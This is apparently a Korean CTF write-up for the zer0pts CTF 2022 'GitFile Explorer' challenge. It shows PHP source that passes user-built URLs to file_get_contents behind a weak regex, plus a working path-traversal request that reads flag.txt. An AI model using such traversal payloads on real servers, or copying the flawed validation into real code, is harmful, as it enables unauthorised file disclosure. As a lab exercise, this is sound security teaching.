CTF/zer0pts CTF 2022

[Clear] zer0pts CTF 2022 GitFile Explorer Writeup

Vardy 2022. 3. 21. 21:58

주어진 페이지에 접근해보자.

 

아래와 같이 사용자 입력 값 기반으로하여 github 등을 통한 파일 다운로드 기능이 있는 페이지가 나타났다.

http://gitfile.ctf.zer0pts.com:8001/?service=https%3A%2F%2Fraw.githubusercontent.com&owner=ptr-yudai&repo=ptrlib&branch=master&file=README.md

기능 실행 시 URL이 위와 같이 요청되므로, LFI를 의심하면서 주어진 소스코드를 분석해보자.

<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) { ##### ........... (1)
    if (strpos($service, "github") !== false) {
        /* GitHub URL */
        return $service."/".$owner."/".$repo."/".$branch."/".$file;

    } else if (strpos($service, "gitlab") !== false) {
        /* GitLab URL */
        return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;

    } else if (strpos($service, "bitbucket") !== false) {
        /* BitBucket URL */
        return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;

    }

    return null;
}

$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner   = empty($_GET['owner'])   ? "ptr-yudai" : $_GET['owner'];
$repo    = empty($_GET['repo'])    ? "ptrlib"    : $_GET['repo'];
$branch  = empty($_GET['branch'])  ? "master"    : $_GET['branch'];
$file    = empty($_GET['file'])    ? "README.md" : $_GET['file'];

if ($service) {
    $url = craft_url($service, $owner, $repo, $branch, $file);
    if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
        ##### .................................................................. (2)
        $result = file_get_contents($url); 
    }
}
?>

(1)에서 요청 시 넘어가는 파라미터들 기준으로 파일을 호출하는데, 2와 같은 정규식 기반 조건식이 있다.

해당 정규식에는 취약점이 있는데 http뒤에 기타 구문을 삽입해도 정규식을 만족 할 수 있다.

(http와 https를 모두 수용하기 위해서 이렇게 만든것이라고 추측된다.)

 

따라서 service파라미터를 아래와 같이 설정해주면 

http://gitfile.ctf.zer0pts.com:8001/?service=https/../../../%3A%2F%2Fraw.githubusercontent.com&owner=..&repo=..&branch=..&file=../../../../../../../flag.txt

 craft_url 메소드의 결과는 https/../../../%3A%2F%2Fraw.githubusercontent.com/../../../../../../../../flag.txt 와 같이 일반적인 LFI 구문 형태가 되므로 플래그를 획득 할 수 있다.

 

 

FLAG = zer0pts{foo/bar/../../../../../directory/traversal}

반응형